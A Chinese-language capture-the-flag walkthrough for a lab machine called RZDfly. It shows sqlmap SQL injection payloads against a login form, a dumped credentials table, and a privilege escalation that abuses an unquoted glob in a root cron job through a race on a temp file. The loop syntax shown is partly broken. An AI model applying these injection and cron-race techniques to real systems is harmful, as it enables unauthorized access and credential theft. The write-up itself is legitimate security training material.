

RZDfly

端口扫描

```
PORT    STATE  SERVICE REASON          VERSION
22/tcp  open   ssh     syn-ack ttl 64  OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
53/tcp  closed domain  reset ttl 64
80/tcp  open   http    syn-ack ttl 64  Apache httpd 2.4.66 ((Debian))
|_http-title: Maze
|_http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.66 (Debian)
MAC Address: 08:00:27:0B:FD:7E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

80端口给了登录和注册两个接口，扫目录也没有发现别的

注册的时候提示 admin 已经被注册，尝试爆破 admin 的密码失败，感觉很大概率是 sql 注入了

```
sqlmap -r sql.txt --batch --level=5 --risk=3
```

```
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 333 HTTP(s) requests:
---
Parameter: username (POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: username=test' AND 9227=9227-- TAHL&password=test

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: username=test' AND (SELECT 5931 FROM (SELECT(SLEEP(5)))hbmV)-- LIDw&password=test
---
[09:21:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[09:21:55] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 239 times
[09:21:55] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.0.181'
[09:21:55] [WARNING] your sqlmap version is outdated
```

一点一点把库拖下来

```
sqlmap -r sql.txt --batch --threads 4 --dbms=mysql -D maze -T users --dump
```

```
+-----+-----+
| id | password | username |
+-----+-----+
| 1 | seady1ECq9hD4VckWQMH | admin |
| 2 | bamuwe | bamuwe |
| 3 | $2y$12$2SpAFT6h/oWtk410kyMYX.YsPVuoVuGz8TDJUXbx7Em.xnSK3pNYe | test |
+-----+-----+
```

发现用 bamuwe:seady1ECq9hD4VckWQMH 可以 ssh 登录

监听定时任务，发现有个定时任务在读 root 的密码，先用 tr -d 删除了一部分，再写到一个文件里并删除

```
2026/05/06 21:52:01 CMD: UID=0      PID=47723  | /bin/sh -c cd /tmp && cat /root/rootpass.txt
|tr -d [A-Za-z@_@] > .a && rm .a
```

我的第一反应是竞争，争取在删除前把内容拷出来，但是好像没删除快

```
while true; do
    if [ -f /tmp/.a ]; then
        cat /tmp/.a > /tmp/hacked_pass.txt
        break
    fi
done
```

后来我想把直接先创建一个链接到 `pass`，这样即使 `.a` 被删掉了，链接的文件还在，而且也被写入了内容

```
touch pass
ln -s /tmp/pass /tmp/.a
```

问题是即使这样 `pass` 的内容也还是空，看来是被 `tr -d` 删光光了

这里去问了一下 ai，发现正常情况下正则应该用 `''` 包含，这里用的是 `[]`。而没有引号时，正则会先被 shell 当成 glob 通配符处理，而不是直接传给 `tr`。

假设当前目录分别有文件 `A B C D`，那么 shell 会在当前目录下搜索到这4个文件，命令就变成了

```
tr -d A B C D
```

那就很简单了，创建一个文件 `A`，让通配符去匹配，然后删除的只有一个字母，这样即使最后不对，也可以换一个字母再来一次对比一下，这样肯定能凑出来完整的密码

```
touch 'A'
while ;; do cp .a /tmp/hacked.txt 2>/dev/null && [ -s /tmp/hacked.txt ] && break; done
```

这里还卡了好一会，一直 `su` 不成功，我还以为是密码里头有 `A` 被删掉了，但是换成 `B` 看密码里确实没有 `A`，原来是 `su` 没有 `s` 权限

```
banuwe@RZDfly:/tmp$ touch 'A'
banuwe@RZDfly:/tmp$ while ;; do cp .a /tmp/hacked.txt 2>/dev/null && [ -s /tmp/hacked.txt ] && break; done
banuwe@RZDfly:/tmp$ cat hacked.txt
bZby64pHHJU3uaoIDiCz
banuwe@RZDfly:/tmp$ su root
Password:
su: Authentication failure
banuwe@RZDfly:/tmp$ ls -alh /usr/bin/su
-rwxr-xr-x 1 root root 83K May  9 2025 /usr/bin/su
banuwe@RZDfly:/tmp$ ssh root@localhost
The authenticity of host 'localhost (:::1)' can't be established.
ED25519 key fingerprint is SHA256:MjoUe5ON03T2UcSPmLU3evmpGUywf/3IUm0+1p77cI.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yse
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
root@localhost's password:
Linux RZDfly 6.19.14-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 6.19-11.1~trixie (2026-04-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May  6 22:49:23 2026 from 127.0.0.1
root@RZDfly:~# id
uid=0(root) gid=0(root) groups=0(root)
root@RZDfly:~# cat root.txt
flag{root-82e16013c50931d0d3a6fb19bac24f67}
root@RZDfly:~#
```